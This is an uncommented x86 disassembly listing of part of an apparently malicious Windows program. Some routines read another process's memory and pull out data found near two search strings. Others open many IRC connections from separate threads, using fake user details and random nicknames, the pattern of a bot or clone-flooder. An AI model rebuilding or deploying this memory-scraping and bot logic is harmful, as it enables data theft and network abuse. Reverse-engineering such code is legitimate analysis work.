		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_4F5428	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, ds:dword_4F541C
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4F5418
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, ds:dword_4F5424
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_417E5F
		xor	esi, esi
		jmp	loc_417F7D
; ---------------------------------------------------------------------------

loc_417E5F:				; CODE XREF: sub_417DE6+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ds:dword_4F5420	; VirtualQueryEx
		test	eax, eax
		jz	loc_417F6C
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_417F6C
		test	[ebp+var_2B], 1
		jnz	loc_417F6C
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_417F6C

loc_417EC2:				; CODE XREF: sub_417DE6+112j
		push	edi		; Str2
		push	offset word_4EB014 ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417EEA
		lea	eax, [edi+200h]
		push	eax		; Str2
		push	offset word_4EB814 ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417EFA

loc_417EEA:				; CODE XREF: sub_417DE6+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_417F6C
		jmp	short loc_417EC2
; ---------------------------------------------------------------------------

loc_417EFA:				; CODE XREF: sub_417DE6+102j
		test	edi, edi
		jz	short loc_417F6C
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_4F53E8	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_417F35
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_4F53E4	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_417F35
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_417F35:				; CODE XREF: sub_417DE6+12Bj
					; sub_417DE6+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4EC238, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4EC230, eax
		mov	Src, edi

loc_417F6C:				; CODE XREF: sub_417DE6+90j
					; sub_417DE6+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		mov	esi, [ebp+var_10]

loc_417F7D:				; CODE XREF: sub_417DE6+74j
		push	[ebp+var_4]
		call	ds:dword_4F533C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417F8A:				; CODE XREF: sub_417DE6+24j
		pop	esi
		leave
		retn
sub_417DE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F8D	proc near		; CODE XREF: sub_417A8B:loc_417B83p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_4F5358	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41807F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4F5428	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_418076
		mov	edi, ds:dword_4F541C

loc_417FD8:				; CODE XREF: sub_417F8D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4F5420	; VirtualQueryEx
		test	eax, eax
		jz	short loc_418064
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_41806A
		test	[ebp+var_13], 1
		jnz	short loc_41806A
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4F5418	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4F5424	; ReadProcessMemory
		test	eax, eax
		jz	short loc_418056
		push	offset word_4EB014 ; Str2
		push	esi		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418056
		lea	eax, [esi+400h]
		push	offset word_4EB814 ; Str2
		push	eax		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_418086

loc_418056:				; CODE XREF: sub_417F8D+9Fj
					; sub_417F8D+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		jmp	short loc_41806A
; ---------------------------------------------------------------------------

loc_418064:				; CODE XREF: sub_417F8D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_41806A:				; CODE XREF: sub_417F8D+71j
					; sub_417F8D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417FD8

loc_418076:				; CODE XREF: sub_417F8D+3Fj
		push	[ebp+arg_0]
		call	ds:dword_4F533C	; CloseHandle

loc_41807F:				; CODE XREF: sub_417F8D+1Ej
		xor	eax, eax

loc_418081:				; CODE XREF: sub_417F8D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418086:				; CODE XREF: sub_417F8D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4EC230, ebx
		mov	Src, eax
		cmp	[eax], cl
		jnz	short loc_4180A8
		cmp	[eax+1], cl
		jz	short loc_4180B0

loc_4180A8:				; CODE XREF: sub_417F8D+114j
					; sub_417F8D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4180A8

loc_4180B0:				; CODE XREF: sub_417F8D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	ds:dword_4F533C	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_418081
sub_417F8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180C3	proc near		; CODE XREF: sub_417A8B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4EC22C
		push	esi
		mov	esi, ds:dword_4F541C
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F5418	; RtlAllocateHeap
		mov	ecx, dword_4EC22C
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx		; Size
		push	Src		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4EC238
		push	eax
		call	dword_4EC018
		push	[ebp+var_4]
		mov	edi, offset byte_4EC024
		push	offset word_4EB014
		push	offset word_4EB814
		push	[ebp+arg_0]
		push	offset asc_44EE50 ; "-"
		push	200h		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4180C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41815A	proc near		; CODE XREF: sub_417A8B:loc_417BC7p

var_18		= word ptr -18h
var_16		= word ptr -16h
Dst		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4EC22C
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_4F541C	; GetProcessHeap
		push	eax
		call	ds:dword_4F5418	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+Dst], eax
		mov	ebx, offset word_4EB814
		mov	edi, 200h
		mov	esi, offset byte_4EAE14

loc_4181A0:				; CODE XREF: sub_41815A+FAj
		mov	eax, dword_4EC22C
		add	eax, eax
		push	eax		; Size
		push	Src		; Src
		push	[ebp+Dst]	; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4EC018
		mov	eax, dword_4EC22C
		and	[ebp+var_10], 0
		mov	ecx, [ebp+Dst]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_418215

loc_4181DD:				; CODE XREF: sub_41815A+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_418232
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_418201
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_418201
		cmp	dl, 20h
		jnb	short loc_4181FB
		and	[ebp+var_8], 0

loc_4181FB:				; CODE XREF: sub_41815A+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_418205

loc_418201:				; CODE XREF: sub_41815A+90j
					; sub_41815A+96j
		and	[ebp+var_8], 0

loc_418205:				; CODE XREF: sub_41815A+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_4181DD
		cmp	[ebp+var_8], 0
		jz	short loc_418232

loc_418215:				; CODE XREF: sub_41815A+81j
		push	[ebp+Dst]
		push	offset word_4EB014
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_44EEA0 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_41824A
; ---------------------------------------------------------------------------

loc_418232:				; CODE XREF: sub_41815A+87j
					; sub_41815A+B9j
		push	offset word_4EB014
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_44EEF0 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h

loc_41824A:				; CODE XREF: sub_41815A+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4181A0
		push	[ebp+Dst]
		push	0
		call	ds:dword_4F541C	; GetProcessHeap
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41815A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418273	proc near		; CODE XREF: sub_41842D+2Fp

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4E3178	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4182EF
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4E30F8	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4E3138	; inet_addr
		cmp	eax, esi
		jnz	short loc_4182D4
		push	[ebp+arg_0]
		call	dword_4E317C	; gethostbyname
		test	eax, eax
		jz	short loc_4182EF
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_4182D4:				; CODE XREF: sub_418273+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4E30A0	; connect
		cmp	eax, esi
		jnz	short loc_4182F3
		push	edi
		call	dword_4E3190	; closesocket

loc_4182EF:				; CODE XREF: sub_418273+1Bj
					; sub_418273+58j
		mov	eax, esi
		jmp	short loc_4182F5
; ---------------------------------------------------------------------------

loc_4182F3:				; CODE XREF: sub_418273+73j
		mov	eax, edi

loc_4182F5:				; CODE XREF: sub_418273+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_418273	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4182F9(char *Dest)

sub_4182F9	proc near		; CODE XREF: sub_401CC7+328Ep
					; sub_401CC7+32FAp ...

Dest		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Dest]
		push	offset asc_44FBC0 ; "\n"
		push	edi		; Dest
		call	_strcat
		pop	ecx
		mov	esi, offset dword_4EC244
		pop	ecx

loc_418311:				; CODE XREF: sub_4182F9+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_41832F
		cmp	dword ptr [esi], 0
		jbe	short loc_41832F
		push	0
		push	edi		; Str
		call	_strlen
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4E3148	; send

loc_41832F:				; CODE XREF: sub_4182F9+1Cj
					; sub_4182F9+21j
		add	esi, 210h
		cmp	esi, offset dword_4F2964
		jl	short loc_418311
		pop	edi
		pop	esi
		retn
sub_4182F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418340(char *Str,int)

sub_418340	proc near		; CODE XREF: sub_41842D+155p

Dst		= byte ptr -420h
Dest		= byte ptr -220h
Str2		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		push	edi
		push	offset asc_44FBC4 ; " "
		push	[ebp+Str]	; Str
		call	_strtok
		pop	ecx
		mov	[ebp+Str2], eax
		pop	ecx
		lea	esi, [ebp+var_1C]
		push	7
		xor	ebx, ebx
		pop	edi

loc_418366:				; CODE XREF: sub_418340+39j
		push	offset asc_44FBC8 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_418366
		cmp	[ebp+Str2], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_41838F
		cmp	esi, ebx
		jnz	short loc_41838F
		push	1
		pop	eax
		jmp	loc_418428
; ---------------------------------------------------------------------------

loc_41838F:				; CODE XREF: sub_418340+41j
					; sub_418340+45j
		push	[ebp+Str2]	; Str2
		push	offset aPing_1	; "PING"
		call	_strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi		; Str2
		jnz	short loc_4183AA
		push	offset aPongS_0	; "PONG	%s\n"
		jmp	short loc_4183F8
; ---------------------------------------------------------------------------

loc_4183AA:				; CODE XREF: sub_418340+61j
		push	offset a433	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4183CB
		push	esi		; Str2
		push	offset a432	; "432"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418426

loc_4183CB:				; CODE XREF: sub_418340+78j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418650
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aNickS_9	; "NICK	%s\n"

loc_4183F8:				; CODE XREF: sub_418340+68j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send

loc_418426:				; CODE XREF: sub_418340+89j
		xor	eax, eax

loc_418428:				; CODE XREF: sub_418340+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418340	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41842D	proc near		; DATA XREF: sub_4185D2+61o

Dest		= byte ptr -4008h
var_3008	= byte ptr -3008h
Dst		= byte ptr -2008h
Str		= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4EC24C[esi]
		mov	dword_4EC240[esi], edi
		push	dword_4EC44C[esi]
		push	eax
		call	sub_418273
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4EC244[esi], eax
		jb	loc_4185B2
		mov	edi, 1000h
		lea	eax, [ebp+Dst]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418650
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	sub_418650
		lea	eax, [ebp+var_3008]
		push	eax		; Dest
		call	sub_418650
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	dword_4EC244[esi]
		call	dword_4E3148	; send
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch

loc_418509:				; CODE XREF: sub_41842D+111j
					; sub_41842D+180j
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Str]
		push	ebx
		push	edi
		push	eax
		push	dword_4EC244[esi]
		call	dword_4E3110	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_4185B2
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_418509

loc_418540:				; CODE XREF: sub_41842D+17Ej
		mov	al, [ebp+eax+Str]
		cmp	al, 0Dh
		jz	short loc_418567
		cmp	al, 0Ah
		jz	short loc_418567
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_418567
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+Dst], al
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418567:				; CODE XREF: sub_41842D+11Cj
					; sub_41842D+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4185A1
		push	dword_4EC244[esi] ; int
		mov	[ebp+eax+Dst], bl
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_418340
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_4185B2
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_4185A1:				; CODE XREF: sub_41842D+138j
					; sub_41842D+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_418540
		jmp	loc_418509
; ---------------------------------------------------------------------------

loc_4185B2:				; CODE XREF: sub_41842D+40j
					; sub_41842D+107j ...
		mov	dword_4EC240[esi], ebx
		mov	esi, dword_4EC244[esi]
		cmp	esi, ebx
		jbe	short loc_4185C9
		push	esi
		call	dword_4E3190	; closesocket

loc_4185C9:				; CODE XREF: sub_41842D+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_41842D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4185D2(char *Source,int,int)

sub_4185D2	proc near		; CODE XREF: sub_401CC7+31DBp

var_8		= byte ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_41864B

loc_4185E4:				; CODE XREF: sub_4185D2+77j
		xor	edi, edi
		mov	eax, offset dword_4EC240

loc_4185EB:				; CODE XREF: sub_4185D2+28j
		cmp	[eax], ebx
		jz	short loc_4185FC
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4F2960
		jl	short loc_4185EB

loc_4185FC:				; CODE XREF: sub_4185D2+1Bj
		cmp	edi, 31h
		jz	short loc_41864B
		mov	esi, edi
		push	[ebp+Source]	; Source
		imul	esi, 210h
		lea	eax, dword_4EC24C[esi]
		push	eax		; Dest
		call	_strcpy
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4EC44C[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4EC240[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_41842D
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_4185E4

loc_41864B:				; CODE XREF: sub_4185D2+10j
					; sub_4185D2+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418650(char *Dest)

sub_418650	proc near		; CODE XREF: sub_401CC7+3747p
					; sub_401CC7+378Dp ...

Source		= byte ptr -40h
var_2D		= byte ptr -2Dh
Dst		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
Count		= dword	ptr -0Ch
var_4		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		call	_rand
		mov	[ebp+Count], eax
		fild	[ebp+Count]
		fmul	ds:dbl_43C4D8
		call	__ftol
		cmp	eax, 1
		jnz	short loc_41869A
		call	_rand
		call	_rand
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_44F244[edx*4]
		jmp	short loc_4186B3
; ---------------------------------------------------------------------------

loc_41869A:				; CODE XREF: sub_418650+2Fj
		call	_rand
		call	_rand
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_44EF44[edx*4] ; Source

loc_4186B3:				; CODE XREF: sub_418650+48j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+Count], eax
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4D0
		call	__ftol
		mov	ebx, eax
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_43C4C8
		call	__ftol
		cmp	esi, 2
		mov	edi, offset a__3 ; "-|`_\\{[]}"
		jle	short loc_418726
		cmp	esi, 3
		jnz	short loc_41871D
		cmp	ebx, 1
		jz	short loc_418726

loc_41871D:				; CODE XREF: sub_418650+C6j
		cmp	eax, 1
		jnz	loc_4187E0

loc_418726:				; CODE XREF: sub_418650+C1j
					; sub_418650+CBj
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4C0
		call	__ftol
		push	off_44F244[eax*4] ; Source
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_strcpy
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+Dst]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4187CD
		movsx	eax, [ebp+Source]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4187CD
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_43C4C8
		call	__ftol
		cmp	eax, 1
		jnz	short loc_4187CD
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	ds:dbl_43C4C8
		call	__ftol
		mov	al, byte ptr a__3[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_4187CD:				; CODE XREF: sub_418650+111j
					; sub_418650+122j ...
		push	[ebp+Count]	; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strncat
		add	esp, 0Ch

loc_4187E0:				; CODE XREF: sub_418650+D0j
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+Dst]
		push	eax		; C
		mov	[ebp+var_4], esi
		call	_isdigit
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418A48
		and	[ebp+Count], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41893F
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_43C4C8
		call	__ftol
		cmp	esi, 3
		jz	short loc_41884E
		cmp	eax, 1
		jnz	loc_41893F

loc_41884E:				; CODE XREF: sub_418650+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_418890
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_43C4C8
		call	__ftol
		mov	al, byte ptr a__3[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4188AC
; ---------------------------------------------------------------------------

loc_418890:				; CODE XREF: sub_418650+207j
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4B8
		call	__ftol
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_4188AC:				; CODE XREF: sub_418650+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+Count], ebx
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4B0
